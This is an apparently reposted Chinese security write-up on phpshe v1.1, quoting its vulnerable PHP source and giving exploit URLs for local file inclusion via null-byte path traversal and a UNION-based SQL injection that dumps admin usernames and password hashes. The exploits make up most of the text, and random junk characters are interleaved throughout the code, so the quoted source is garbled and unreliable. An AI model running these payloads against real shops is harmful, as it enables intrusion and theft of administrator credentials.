phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
; a2 ?9 z% w( ?' b6 y1 Y2 {# o/* Phpshe v1.1 Vulnerability
/* ========================
: ^/ i% U  a% W# {- x% v$ G4 a8 I/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输


5 t- `3 H5 ?4 U4 Z9 E1 F9 F
& _( u5 \! w6 q7 v7 \//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
5 ~/ O; `3 x1 L}
. Y! M* A' M, msession_start();
$ ?6 t2 {% k1 g+ A/ {! `!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

9 c" r& R2 W8 [0×01 包含漏洞
0 C# V& G  f9 `

//首页文件
- ~8 @4 y3 h  M  G3 Z, a<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
* C7 x; C7 r* R  K; }7 v# W" Vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
3 V! D6 m! W& V* M/ o6 G- r//common 文件 第15行开始
% S# [2 b$ r' }" y+ o  t; xurl路由配置
$module = $mod = $act = 'index';
$ w. b7 K: b1 v$ F  z6 b  L$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
' f+ y* E/ ]3 P, W: y//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

, ?9 A0 j* c+ X7 C( C& Z; N$ u
0×02 搜索注入
; g) t% q5 E. F# I
' T4 F% f) Q7 E: f' o# q$ U<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
  C& D8 F  M7 E  m; _# r$info = $db->pe_select('category', array('category_id'=>$category_id));
$ D" b9 C( b$ n) k1 F1 |5 U//搜索
9 w5 u! o, l/ r) s, X5 m# x$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
! F  g% X4 o! [. [& I- H% O}
4 x" m- q( b6 K5 }$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
+ |  ~8 x8 m4 p$ k6 W! }$orderby = explode('_', $_g_orderby);
) n: Z% }3 e/ n! R& w$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}
0 x' i2 |! }3 M+ s$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 t6 Q6 |' a. U5 J//热卖排行
$product_hotlist = product_hotlist();
//当前路径
1 I7 H1 t5 k' q2 F3 ]$ X% \" G$nowpath = category_path($category_id);
+ M( c4 {& E6 C/ O4 e$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
9 s6 i( [% X# [* c$ \//跟进selectall函数库
2 g, m4 ]0 r" s6 x! ~  Qpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
2 j9 m! R9 V! ^: X& p{
& ?8 b! c+ u4 k1 c, i) n//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
" F- T. Q1 K- D0 H. W6 h( Bproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
( A2 J, q6 |- r  C: Z9 {
<code id="code3">

//order.php

case 'pay':

* \2 _$ f* i8 j+ X- ?- Q$order_id = pe_dbhold($_g_id);

% r2 ]  ^. w5 Z% }# k" Q$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

- S) g2 M& q8 E. }$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, g5 v) N, Z+ f9 v% v0 G, U, wif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

; ^$ r, B$ e  E1 N! C- z  b}

}

" U: g! R7 `' W$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

5 W6 B9 D$ e+ o: Lif (isset($_p_pesubmit)) {

' X# O( X' ~7 E9 S0 Y8 ~% Bif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

) O, y! D& m$ V4 o2 |6 _$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

; ]9 C- ~( j6 K* o/ w: dforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

& \6 j7 L, C/ k8 F. [6 `$ _* {}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

5 J; ~4 {1 k& ]}//当一切准备好的时候就可以进行"鸡肋包含了"

! {7 g# s5 n5 X" l$ L6 `else {

pe_error('支付错误...');

$ r% E& S' r7 e}

}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

4 g8 a6 [, e" Pbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg